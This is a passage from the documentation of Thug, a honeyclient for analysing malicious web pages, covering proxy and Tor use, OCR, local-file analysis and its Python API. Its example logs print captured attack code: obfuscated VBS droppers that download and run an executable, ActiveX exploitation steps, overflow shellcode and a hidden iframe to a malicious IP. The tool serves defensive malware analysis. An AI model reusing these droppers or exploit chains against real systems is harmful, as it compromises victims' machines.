[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_30
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_29
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_28

```

(continues on next page)

(continued from previous page)

```

[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_27
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_26
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_25
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_24
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_23
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_22
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_21
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_20
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_19
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_18
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_17
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_16
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_15
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_14
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_13
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_12
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_11
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_10
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_09
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_08
[2012-11-15 17:40:56] ActiveXObject: javaplugin.170_07
[2012-11-15 17:40:56] ActiveXObject: javawebstart.isinstalled.1.7.0.0
[2012-11-15 17:40:56] [Window] Alert Text: AdobeReader version: 9,1,0,0
[2012-11-15 17:40:56] [Window] Alert Text: Flash version: 10,0,64,0
[2012-11-15 17:40:56] [Window] Alert Text: Java version: 1,7,0,7

```

## 5.7 Proxy support

Another really useful option is `-p` (*-proxy*) which allows to specify a proxy. Currently Thug supports HTTP, SOCKS4 and SOCKS5 proxy using the following format

```
scheme://[username:password@]host:port (supported schemes: http, socks4, socks5)
```

This option allows Thug to make use of Tor in order to anonymize the access to a malicious page. The trick is quite simple and requires a Tor instance up and running. Simply run Thug using `socks5://127.0.0.1:9050` as proxy and your real IP address will not be revealed.

```

~ $ thug -p socks5://127.0.0.1:9050 "http://[omitted]/main.php?page=8c6c59becaa0da07"
[2012-07-02 19:22:14] [HTTP] URL: http://[omitted]/main.php?page=8c6c59becaa0da07_
↳ (Status: 200, Referrer: None)
[2012-07-02 19:22:14] <applet archive="Ryp.jar" code="sIda.sIda"><param name="b"
↳ value=
↳ "56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
↳ "></param></applet>
[2012-07-02 19:22:14] [Navigator URL Translation] Ryp.jar --> http://[omitted]/Ryp.
↳ jar
[2012-07-02 19:22:16] [HTTP] URL: http://[omitted]/Ryp.jar (Status: 200, Referrer:
↳ http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:17] Saving applet Ryp.jar
[2012-07-02 19:22:17] ActiveXObject: msxml2.xmlhttp
[2012-07-02 19:22:17] ActiveXObject: acropdf.pdf
[2012-07-02 19:22:18] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-07-02 19:22:18] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-07-02 19:22:18] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13

```

(continues on next page)



(continued from previous page)

```

[2012-07-02 19:22:18] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-07-02 19:22:18] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-07-02 19:22:18] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-07-02 19:22:18] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (adodb.
↳stream)
[2012-07-02 19:22:18] ActiveXObject: adodb.stream
[2012-07-02 19:22:18] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (Shell.
↳Application)
[2012-07-02 19:22:18] ActiveXObject: shell.application
[2012-07-02 19:22:18] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (msxml2.
↳XMLHTTP)
[2012-07-02 19:22:18] ActiveXObject: msxml2.xmlhttp
[2012-07-02 19:22:18] [Microsoft XMLHTTP ActiveX] Fetching from URL http://[omitted]/
↳w.php?f=b081d&e=2
[2012-07-02 19:22:22] [HTTP] URL: http://[omitted]/w.php?f=b081d&e=2 (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:23] [Microsoft XMLHTTP ActiveX] Saving File:
↳d328b5a123bce1c0d20d763ad745303a
[2012-07-02 19:22:23] [Microsoft XMLHTTP ActiveX] send
[2012-07-02 19:22:23] [Adodb.Stream ActiveX] open
[2012-07-02 19:22:23] [Adodb.Stream ActiveX] Write
[2012-07-02 19:22:23] [Adodb.Stream ActiveX] SaveToFile (./../e9a458c.exe)
[2012-07-02 19:22:23] [Adodb.Stream ActiveX] Close
[2012-07-02 19:22:23] [Shell.Application ActiveX] ShellExecute command: ./../
↳e9a458c.exe
[2012-07-02 19:22:23] [Navigator URL Translation] ./data/ap1.php?f=b081d --> http://
↳[omitted]/data/ap1.php?f=b081d
[2012-07-02 19:22:30] [HTTP] URL: http://[omitted]/data/ap1.php?f=b081d (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:30] Microsoft Internet Explorer HCP Scheme Detected
[2012-07-02 19:22:30] Microsoft Windows Help Center Malformed Escape Sequences
↳Incorrect Handling
[2012-07-02 19:22:30] [AST]: Eval argument length > 64
[2012-07-02 19:22:30] [Windows Script Host Run] Command:
cmd /c echo B="1.vbs":With CreateObject("MSXML2.XMLHTTP").open "GET","http://
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳"Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳GetSpecialFolder(2) + "\" + B > %TEMP%\1.vbs && %TEMP%\1.vbs && taskkill /F /IM
↳helpctr.exe

[2012-07-02 19:22:30] [Windows Script Host Run - Stage 1] Code:
cmd /c echo B="1.vbs":With CreateObject("MSXML2.XMLHTTP").open "GET","http://
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳"Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳GetSpecialFolder(2) + "\" + B > %TEMP%\1.vbs && %TEMP%\1.vbs && taskkill /F /IM
↳helpctr.exe

[2012-07-02 19:22:30] [Windows Script Host Run - Stage 1] Downloading from URL http://
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0
[2012-07-02 19:22:32] [HTTP] URL: http://[omitted]/data/hcp_vbs.php?f=b081d&d=0
↳(Status: 200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:32] [Windows Script Host Run - Stage 1] Saving file
↳d26b9b1a1f667004945d1d000cf4f19e
[2012-07-02 19:22:32] [Windows Script Host Run - Stage 2] Code:
w=3000:x=200:y=1:z=false:a = "http://[omitted]/w.php?e=5&f=b081d":Set e =
↳CreateObject(StrReverse("tcejbOmetSySeliF.gnitpirCS")):Set f=e.
↳GetSpecialFolder(2):b = f & "\exe.ex2":b=Replace(b,Month("2010-02-16"),(continued on next page)
↳"GET":Set c = CreateObject(StrReverse("PThLMX.2LMXSM")):Set d =
↳CreateObject(StrReverse("ertS.BDODA") & "am")

```

(continued from previous page)

```

Set o=Createobject(StrReverse("tcejbOmetsySeliF.gnitpircS"))
On Error resume next
c.open OT, a, z:c.send()
If c.Status = x Then
d.Open:d.Type = y:d.Write c.ResponseBody:d.SaveToFile b:d.Close
End If
Set w=CreateObject(StrReverse("llehS." & "tpi"&"rcSW"))
Eval(Replace("W.ex2c b", Month("2010-02-16"), "E"))
W.exeC "taskkill /F /IM wm" & "player.e" & "xe":W.exeC "taskkill /F /IM realplay.ex" &
↳ "e":Set g=o.GetFile(e.GetSpecialFolder(3-1) & "\" & StrReverse("bv.l") & "s"):g.
↳Delete:WScript.Sleep w:Set g=o.GetFile(b):Eval("g.Delete")

[2012-07-02 19:22:32] [Windows Script Host Run - Stage 2] Downloading from URL http://
↳[omitted]/w.php?e=5&f=b081d
[2012-07-02 19:22:38] [HTTP] URL: http://[omitted]/w.php?e=5&f=b081d (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:39] [Windows Script Host Run - Stage 2] Saving file
↳d328b5a123bce1c0d20d763ad745303a
[2012-07-02 19:22:39] <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
↳height="10" id="swf_id" width="10"><param name="movie" value="data/field.swf"></
↳param><param name="allowScriptAccess" value="always"></param><param name="Play"
↳value="0"></param><embed allowscriptaccess="always" height="10" id="swf_id" name=
↳"swf_id" src="data/field.swf" type="application/x-shockwave-flash" width="10"></
↳embed></object>
[2012-07-02 19:22:39] <param name="b" value=
↳"56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
↳"></param>
[2012-07-02 19:22:39] <param name="movie" value="data/field.swf"></param>
[2012-07-02 19:22:39] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
[2012-07-02 19:22:46] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:46] Saving remote content at data/field.swf (MD5:
↳502da89357ca5d7c85dc7a67f8977b21)
[2012-07-02 19:22:46] <param name="allowScriptAccess" value="always"></param>
[2012-07-02 19:22:46] <param name="Play" value="0"></param>
[2012-07-02 19:22:46] <embed allowscriptaccess="always" height="10" id="swf_id" name=
↳"swf_id" src="data/field.swf" type="application/x-shockwave-flash" width="10"></
↳embed>
[2012-07-02 19:22:46] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
[2012-07-02 19:22:49] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:22:49] Saving remote content at data/field.swf (MD5:
↳502da89357ca5d7c85dc7a67f8977b21)

```

## 5.8 Image processing

Image processing analysis (introduced in Thug 1.4) allows to analyze images retrieved during the analysis. By default, Thug performs OCR analysis returning extracted strings but the possibility exists to include other image processing algorithms through using Thug PyHooks. Be aware that *pytesseract* is required to perform OCR analysis but this dependency is not installed by default as the required steps could be different based on the Linux distribution. Please look at the section *INSTALLATION* at <https://github.com/madmaze/pytesseract> for additional details.

```

~ $ thug -u win7ie90 -U -Y --image-processing www.google.com
[2020-04-09 12:18:51] [window open redirection] about:blank -> http://www.google.com
[2020-04-09 12:18:51] [HTTP Redirection (Status: 302)] Content-Location: http://www.
↳google.com/ --> Location: https://www.google.com/?gws_rd=ssl
[2020-04-09 12:18:51] [HTTP] URL: https://www.google.com/?gws_rd=ssl (Status: 200,
↳Referer: None)
[2020-04-09 12:18:51] [HTTP] URL: https://www.google.com/?gws_rd=ssl (Content-type:
↳text/html; charset=UTF-8, MD5: 6f1b8888e766930d42eda071cece248a)
[2020-04-09 12:18:52] [script src redirection] https://www.google.com/?gws_rd=ssl ->
↳https://ssl.gstatic.com/gb/js/sem_574dafdale043a99f540fbc649850c73.js
[2020-04-09 12:18:52] [HTTP] URL: https://ssl.gstatic.com/gb/js/sem_
↳574dafdale043a99f540fbc649850c73.js (Status: 200, Referer: https://www.google.com/?
↳gws_rd=ssl)
[2020-04-09 12:18:52] [HTTP] URL: https://ssl.gstatic.com/gb/js/sem_
↳574dafdale043a99f540fbc649850c73.js (Content-type: text/javascript, MD5:
↳f9acfd15f94beb685f01c6d6df397ff6)
[2020-04-09 12:18:52] [Navigator URL Translation] /images/branding/googlelogo/1x/
↳googlelogo_white_background_color_272x92dp.png --> https://www.google.com/images/
↳branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png
[2020-04-09 12:18:52] [img redirection] https://www.google.com/?gws_rd=ssl -> https://
↳www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_
↳272x92dp.png
[2020-04-09 12:18:52] [HTTP] URL: https://www.google.com/images/branding/googlelogo/
↳1x/googlelogo_white_background_color_272x92dp.png (Status: 200, Referer: https://
↳www.google.com/?gws_rd=ssl)
[2020-04-09 12:18:52] [HTTP] URL: https://www.google.com/images/branding/googlelogo/
↳1x/googlelogo_white_background_color_272x92dp.png (Content-type: image/png, MD5:
↳b593548ac0f25135c059a0aae302ab4d)
[2020-04-09 12:18:52] [OCR] Result: Google (URL: https://www.google.com/images/
↳branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png)
[...]
```

## 5.9 Local Analysis

May you need to analyze a locally saved page Thug provides the *-l* (*-local*) option to you. Using such option is really simple and could turn to be really useful for testing and for later (manual or automated) analysis (see also *Web Cache*)

```

~/thug/src $ thug -l ../samples/exploits/4042.html
[2012-07-03 00:12:23] <object classid="clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277" id=
↳"target"></object>
[2012-07-03 00:12:23] ActiveXObject: DCE2F8B1-A520-11D4-8FD0-00D0B7730277
[2012-07-03 00:12:23] [Yahoo! Messenger 8.x Ywcvwr ActiveX] Server Console Overflow
[2012-07-03 00:12:23] UINT WINAPI WinExec (
    LPCSTR = 0x025d4b30 =>
        = "calc.exe";
    UINT uCmdShow = 0;
) = 32;
void ExitProcess (
    UINT uExitCode = 0;
) = 0;
```

If you need to prevent remote content fetching while analyzing a locally saved page Thug provides the *-x* (*-local-nofetch*) option to you. Let's take a look at an example.

```

~/thug/src $ thug -l ../samples/exploits/55875.html
[2013-01-08 10:32:28] <meta content="text/html; charset=utf-8" http-equiv="Content-
↳Type"/>
[2013-01-08 10:32:28] <meta content="Acer Inc.'s shares fell sharply Tuesday, one day,
↳after the Taiwanese computer maker said it would acquire Gateway Inc. for $710,
↳million. Acer said it ..." name="description"/>
[2013-01-08 10:32:28] <meta content="index,follow" name="robots"/>
[2013-01-08 10:32:28] <meta content="Copyright (c)2007-2007 groundhogtech.com. All
↳right reserved." name="copyright"/>
[2013-01-08 10:32:28] <meta content="WordPress 2.2.1" name="generator"/>
[2013-01-08 10:32:28] [Meta] Generator: WordPress 2.2.1
[2013-01-08 10:32:28] <meta content="document" name="resource-type"/>
[2013-01-08 10:32:28] <link href="http://www.groundhogtech.com/favicon.ico" rel=
↳"shortcut icon"/>
[2013-01-08 10:32:28] [HTTP] URL: http://www.groundhogtech.com/favicon.ico (Status:
↳204, Referrer: None)
[2013-01-08 10:32:28] [HTTP] URL: http://www.groundhogtech.com/favicon.ico (Content-
↳type: text/plain; charset=UTF-8, MD5: d41d8cd98f00b204e9800998ecf8427e)
[2013-01-08 10:32:28] <link href="http://www.groundhogtech.com/wp-content/themes/ad-
↳flex-niche/skins/default/skin.css" media="screen" rel="stylesheet" type="text/css"/>
[2013-01-08 10:32:29] [HTTP] URL: http://www.groundhogtech.com/wp-content/themes/ad-
↳flex-niche/skins/default/skin.css (Status: 200, Referrer: None)
[2013-01-08 10:32:29] [HTTP] URL: http://www.groundhogtech.com/wp-content/themes/ad-
↳flex-niche/skins/default/skin.css (Content-type: text/html; charset=UTF-8, MD5:
↳64f3fd00b16de9316bf2b7b57925f4ca)
[2013-01-08 10:32:29] <link href="http://www.groundhogtech.com/feed/" rel="alternate"
↳title="Groundhogtech RSS Feed" type="application/rss+xml"/>
[2013-01-08 10:32:30] [HTTP] URL: http://www.groundhogtech.com/feed/ (Status: 200,
↳Referrer: None)
[2013-01-08 10:32:30] [HTTP] URL: http://www.groundhogtech.com/feed/ (Content-type:
↳text/html; charset=UTF-8, MD5: 0f3dffbe75d901cf28d63f2e8c945815)
[2013-01-08 10:32:30] <link href="http://www.groundhogtech.com/xmlrpc.php" rel=
↳"pingback"/>
[2013-01-08 10:32:30] [HTTP] URL: http://www.groundhogtech.com/xmlrpc.php (Status:
↳200, Referrer: None)
[2013-01-08 10:32:30] [HTTP] URL: http://www.groundhogtech.com/xmlrpc.php (Content-
↳type: text/html; charset=UTF-8, MD5: celec1253cf77acbla86d38c80a83ca2)
[2013-01-08 10:32:30] <link href="http://www.groundhogtech.com/xmlrpc.php?rsd" rel=
↳"EditURI" title="RSD" type="application/rsd+xml"/>
[2013-01-08 10:32:31] [HTTP] URL: http://www.groundhogtech.com/xmlrpc.php?rsd
↳(Status: 200, Referrer: None)
[2013-01-08 10:32:31] [HTTP] URL: http://www.groundhogtech.com/xmlrpc.php?rsd
↳(Content-type: text/html; charset=UTF-8, MD5: d178bfd11bc1b88fc37be47b515210eb)
[2013-01-08 10:32:31] [HTTP] URL: http://www.vklabs.com/wordpress-themes/show-version-
↳xhtml-ad-flex-niche.php?version=0.8.9.8h (Status: 200, Referrer: None)
[2013-01-08 10:32:31] [HTTP] URL: http://www.vklabs.com/wordpress-themes/show-version-
↳xhtml-ad-flex-niche.php?version=0.8.9.8h (Content-type: text/html, MD5:
↳cd382dd315e1c83a108dd8009bad9f70)
[2013-01-08 10:32:32] <iframe frameborder="0" height="0" marginheight="0" marginwidth=
↳"0" scrolling="no" src="http://81.95.149.27/go.php?sid=1" style="border:0px solid
↳gray;" width="0"></iframe>
[2013-01-08 10:32:32] [iframe redirection] about:blank -> http://81.95.149.27/go.php?
↳sid=1
[2013-01-08 10:32:42] [HTTP] URL: http://81.95.149.27/go.php?sid=1 (Status: 408,
↳Referrer: None)
[2013-01-08 10:32:42] [Request Timeout] URL: http://81.95.149.27/go.php?sid=1
[2013-01-08 10:32:42] <iframe frameborder="0" height="0" marginheight="0" marginwidth=
↳"0" scrolling="no" src="http://81.95.149.27/go.php?sid=1" style="border:0px solid
↳gray;" width="0"></iframe>

```

(continues on next page)

(continued from previous page)

```
[2013-01-08 10:32:42] [iframe redirection] about:blank -> http://81.95.149.27/go.php?
↳sid=1
[2013-01-08 10:32:52] [HTTP] URL: http://81.95.149.27/go.php?sid=1 (Status: 408,
↳Referrer: None)
[2013-01-08 10:32:52] [Request Timeout] URL: http://81.95.149.27/go.php?sid=1
```

This is what we expect. Let's prevent remote content fetching now while analyzing the same locally saved page.

```
~/thug/src $ thug -x ../samples/exploits/55875.html
[2013-01-08 10:33:00] <meta content="text/html; charset=utf-8" http-equiv="Content-
↳Type"/>
[2013-01-08 10:33:00] <meta content="Acer Inc.'s shares fell sharply Tuesday, one day
↳after the Taiwanese computer maker said it would acquire Gateway Inc. for $710
↳million. Acer said it ..." name="description"/>
[2013-01-08 10:33:00] <meta content="index,follow" name="robots"/>
[2013-01-08 10:33:00] <meta content="Copyright (c)2007-2007 groundhogtech.com. All
↳right reserved." name="copyright"/>
[2013-01-08 10:33:00] <meta content="WordPress 2.2.1" name="generator"/>
[2013-01-08 10:33:00] [Meta] Generator: WordPress 2.2.1
[2013-01-08 10:33:00] <meta content="document" name="resource-type"/>
[2013-01-08 10:33:00] <link href="http://www.groundhogtech.com/favicon.ico" rel=
↳"shortcut icon"/>
[2013-01-08 10:33:00] <link href="http://www.groundhogtech.com/wp-content/themes/ad-
↳flex-niche/skins/default/skin.css" media="screen" rel="stylesheet" type="text/css"/>
[2013-01-08 10:33:00] <link href="http://www.groundhogtech.com/feed/" rel="alternate"
↳title="Groundhogtech RSS Feed" type="application/rss+xml"/>
[2013-01-08 10:33:00] <link href="http://www.groundhogtech.com/xmlrpc.php" rel=
↳"pingback"/>
[2013-01-08 10:33:01] <link href="http://www.groundhogtech.com/xmlrpc.php?rsd" rel=
↳"EditURI" title="RSD" type="application/rsd+xml"/>
[2013-01-08 10:33:01] <iframe frameborder="0" height="0" marginheight="0" marginwidth=
↳"0" scrolling="no" src="http://81.95.149.27/go.php?sid=1" style="border:0px solid
↳gray;" width="0"></iframe>
```

## 5.10 Other useful features

An interesting feature (introduced in Thug 0.4.13) allows you to define a maximum delay for methods like `setTimeout` and `setInterval` which set a delay for executing a function. For instance if the original code contains a statement like

```
setTimeout(do_stuff, 60000);
```

the code will sleep for 60 seconds before executing the function `do_stuff`. There are situations where you would like to avoid wasting this time. In such cases, Thug provides the `-w` (`-delay`) option. Simply running Thug this way (please note the interval is expressed in milliseconds)

```
~ $ thug -w 2000 "http://[omitted]/main.php?page=8c6c59becaa0da07"
```

will force a maximum delay of 2 seconds.



Thug provides a Python Application Program Interface (API) which can be used by external tools to easily interface with Thug. Basic usage of the Thug API is simple and just requires subclassing the ThugAPI class. Thug class (defined in *src/thug.py*) is a great example of such basic usage and it clearly illustrates all the details that should be needed in almost every scenario.

Using Thug API is really straightforward and the following example explains how to properly make a basic use of the Thug API. Take a look at the interface definition below for more advanced scenarios.

```
from thug.ThugAPI import ThugAPI

class TestAPI(ThugAPI):
    def __init__(self):
        ThugAPI.__init__(self)

    def analyze(self, url):
        # Set useragent to Internet Explorer 9.0 (Windows 7)
        self.set_useragent('win7ie90')

        # Set referer to http://www.honeynet.org
        self.set_referer('http://www.honeynet.org')

        # Enable file logging mode
        self.set_file_logging()

        # Enable JSON logging mode (requires file logging mode enabled)
        self.set_json_logging()

        # [IMPORTANT] The following three steps should be implemented (in the exact
        # order of this example) almost in every situation when you are going to
        # analyze a remote site.

        # Initialize logging
        self.log_init(url)
```

(continues on next page)

(continued from previous page)

```

    # Run analysis
    self.run_remote(url)

    # Log analysis results
    self.log_event()

if __name__ == "__main__":
    t = TestAPI()
    t.analyze("http://www.google.com")

```

Take a look at how the test suite automation scripts in *samples/steps/* directory make use of the Thug API for an example of how to perform a local file analysis.

Thug API interface definition is reported below for convenience.

```

class IThugAPI(zope.interface.Interface):
    def version():
        """
        Print Thug version and exit

        @return: None
        """

    def get_useragent():
        """
        get_useragent

        Return the emulated user agent

        @return: user agent string
        """

    def set_useragent(useragent):
        """
        set_useragent

        Set the user agent to emulate

        @param useragent: the user agent to emulate
        @type useragent: C{str}
        @return: None
        """

    def get_events():
        """
        get_events

        Return the DOM events to emulate
        Note: the load and mousemove are emulated by default and are not included in
        the returned list

        @return: List of the DOM events to emulate
        """

    def set_events(events):
        """
        set_events

```

(continues on next page)



(continued from previous page)

```
Set the DOM events to emulate
Note: the load and mousemove events are emulated by default and do not
need to be added through set_events

@param events: comma separated list of DOM events to emulate
@type events: C{str}
@return: None
"""

def get_delay():
    """
    get_delay

    Return the maximum setTimeout/setInterval delay value (in milliseconds)

    @return: maximum delay value (in milliseconds)
    """

def set_delay(delay):
    """
    set_delay

    Set a maximum setTimeout/setInterval delay value (in milliseconds)

    @param delay: maximum delay value (in milliseconds)
    @type delay: C{int}
    @return: None
    """

def get_attachment():
    """
    get_attachment

    Return True if the attachment mode is set, False otherwise

    @return: boolean
    """

def set_attachment(attachment):
    """
    set_attachment

    Set the attachment mode to the specified value

    @param attachment: enable/disable attachment mode
    @type delay: C{bool}
    @return: None
    """

def get_image_processing():
    """
    get_image_processing

    Return True if the attachment mode is set, False otherwise

    @return: boolean
```

(continues on next page)

(continued from previous page)

```
"""

def set_image_processing():
    """
    set_image_processing

    Enable image processing mode

    @return: None
    """

def reset_image_processing():
    """
    reset_image_processing

    Disable image processing mode

    @return: None
    """

def get_file_logging():
    """
    get_file_logging

    Return True if file logging mode is enabled, False otherwise.

    @return: boolean
    """

def set_file_logging():
    """
    set_file_logging

    Enable file logging mode

    @return: None
    """

def get_json_logging():
    """
    get_json_logging

    Return True if JSON logging mode is enabled, False otherwise.

    @return: boolean
    """

def set_json_logging():
    """
    set_JSON_logging

    Enable JSON logging mode

    @return: None
    """

def get_features_logging():
```

(continues on next page)

(continued from previous page)

```
    """
    get_features_logging

    Return True if features logging mode is enabled, False otherwise.

    @return: boolean
    """

def set_features_logging():
    """
    set_features_logging

    Enable features logging mode

    @return: None
    """

def reset_features_logging():
    """
    reset_features_logging

    Reset features logging mode

    @return: None
    """

def get_referer():
    """
    get_referer

    Return the emulated referer

    @return: referer value
    """

def set_referer(referer):
    """
    set_referer

    Set the referer to be emulated

    @param referer: referer
    @type referer: C{str}
    @return: None
    """

def get_proxy():
    """
    get_proxy

    Get the proxy server to be used for establishing the connection

    @return: proxy server
    """

def set_proxy(proxy):
    """
```

(continues on next page)

(continued from previous page)

```
    set_proxy

    Set the proxy server to be used for establishing the connection

    @param proxy: proxy server
    @type proxy: C{str}
    @return: None
    """

def get_raise_for_proxy():
    """
    get_raise_for_proxy

    Get the raise_for_proxy flag. If the flag is True (default) a ValueError_
↳exception
    is raised if the specified proxy is not available.

    @return: boolean
    """

def set_raise_for_proxy(raise_for_proxy):
    """
    set_raise_for_proxy

    Set the raise_for_proxy flag. If the flag is True (default) a ValueError_
↳exception
    is raised if the specified proxy is not available.

    @param raise_for_proxy: raise_for_proxy flag
    @type: raise_for_proxy: boolean
    @return: None
    """

def set_no_fetch():
    """
    set_no_fetch

    Prevent remote content fetching in any case

    @return: None
    """

def set_verbose():
    """
    set_verbose

    Enable Thug verbose mode

    @return: None
    """

def set_debug():
    """
    set_debug

    Enable Thug debug mode
```

(continues on next page)

(continued from previous page)

```
@return: None
"""

def set_http_debug():
    """
    set_http_debug

    Enable Thug HTTP debug mode

    @return: None
    """

def set_acropdf_pdf(acropdf_pdf):
    """
    set_acropdf_pdf

    Set the Adobe Acrobat Reader version

    @param acropdf_pdf: Adobe Acrobat Reader version
    @type acropdf_pdf: C{str}
    @return: None
    """

def disable_acropdf():
    """
    disable_acropdf

    Disable Adobe Acrobat Reader

    @return: None
    """

def set_shockwave_flash(shockwave):
    """
    set_shockwave_flash

    Set the Shockwave Flash version (supported versions: 8, 9, 10, 11, 12)

    @param shockwave: Shockwave Flash version
    @type shockwave: C{str}
    @return: None
    """

def disable_shockwave_flash():
    """
    disable_shockwave_flash

    Disable Shockwave Flash

    @return: None
    """

def set_javaplugin(javaplugin):
    """
    set_javaplugin

    Set the Java plugin version
```

(continues on next page)

(continued from previous page)

```
@param javaplugin: Java plugin version
@type javaplugin: C{str}
@return: None
"""

def disable_javaplugin():
    """
    disable_javaplugin

    Disable Java plugin

    @return: None
    """

def set_silverlight(silverlight):
    """
    set_silverlight

    Set the SilverLight version

    @param silverlight: SilverLight version
    @type silverlight: C{str}
    @return: None
    """

def disable_silverlight():
    """
    disable_silverlight

    Disable SilverLight

    @return: None
    """

def get_threshold():
    """
    get_threshold

    Get the maximum number of pages to fetch

    @return: the maximum number of pages to fetch
    """

def set_threshold(threshold):
    """
    set_threshold

    Set the maximum number of pages to fetch

    @param threshold: the maximum number of pages to fetch
    @type threshold: C{int}
    @return: None
    """

def get_extensive():
    """
```

(continues on next page)

(continued from previous page)

```
get_extensive

Get the current extensive fetch of linked pages mode

@return: None
"""

def set_extensive():
    """
    set_extensive

    Set the extensive fetch of linked pages mode

    @return: None
    """

def get_connect_timeout():
    """
    get_connect_timeout

    Get the connect timeout (in seconds)

    @return: the connect timeout (in seconds)
    """

def set_connect_timeout(timeout):
    """
    set_connect_timeout

    Set the connect timeout (in seconds)

    @param timeout: the connect timeout (in seconds)
    @type timeout: C{int}
    @return: None
    """

def get_timeout():
    """
    get_timeout

    Get the analysis timeout (in seconds)

    @return: the analysis timeout (in seconds)
    """

def set_timeout(timeout):
    """
    set_timeout

    Set the analysis timeout (in seconds)

    @param timeout: the analysis timeout (in seconds)
    @type timeout: C{int}
    @return: None
    """

def get_broken_url():
```

(continues on next page)

(continued from previous page)

```
    """
    get_broken_url

    Get the broken URL mode

    @return mode: broken URL mode
    """

def set_broken_url():
    """
    set_broken_url

    Set the broken URL mode

    @return: None
    """

def disable_honeyagent():
    """
    disable_honeyagent

    Disable HoneyAgent Java sandbox analysis

    @return: None
    """

def enable_code_logging():
    """
    enable_code_logging

    Enable code logging

    @return: None
    """

def disable_code_logging():
    """
    disable_code_logging

    Disable code logging

    @return: None
    """

def enable_cert_logging():
    """
    enable_cert_logging

    Enable SSL/TLS certificate logging

    @return: None
    """

def disable_cert_logging():
    """
    disable_cert_logging
```

(continues on next page)



(continued from previous page)

```
    Disable SSL/TLS certificate logging

    @return: None
    """

def log_init(url):
    """
    log_init

    Initialize logging subsystem

    @param url: URL to analyze
    @type url: C{str}
    @return: None
    """

def set_log_dir(logdir):
    """
    set_log_dir

    Set the log output directory

    @param logdir: the log output directory
    @type logdir: C{str}
    @return: None
    """

def set_log_output(output):
    """
    set_log_output

    Set the log output file

    @param output: the log output file
    @type output: C{str}
    @return: None
    """

def set_log_quiet():
    """
    set_log_quiet

    Disable console logging

    @return: None
    """

def set_log_verbose():
    """
    set_log_verbose

    Enable console logging

    @return: None
    """

def set_vt_query():
```

(continues on next page)

(continued from previous page)

```
    """
    set_vt_query

    Enable VirusTotal queries for sample analysis

    @return: None
    """

def set_vt_submit():
    """
    set_vt_submit

    Enable VirusTotal samples submit

    @return: None
    """

def get_vt_runtime_apikey():
    """
    get_vt_runtime_apikey

    Get the VirusTotal API key set as runtime parameter (not the one defined in
    the configuration file)

    @return: string
    """

def set_vt_runtime_apikey():
    """
    set_vt_runtime_apikey

    Set the key to be used when interacting with VirusTotal APIs, overriding
    any static value defined in thug.conf

    @return: None
    """

def get_mongodb_instance():
    """
    get_mongodb_instance

    Get the address ("host:port") of the MongoDB instance specified at runtime
    (not the one from the thug.conf file)
    """

def set_mongodb_instance():
    """
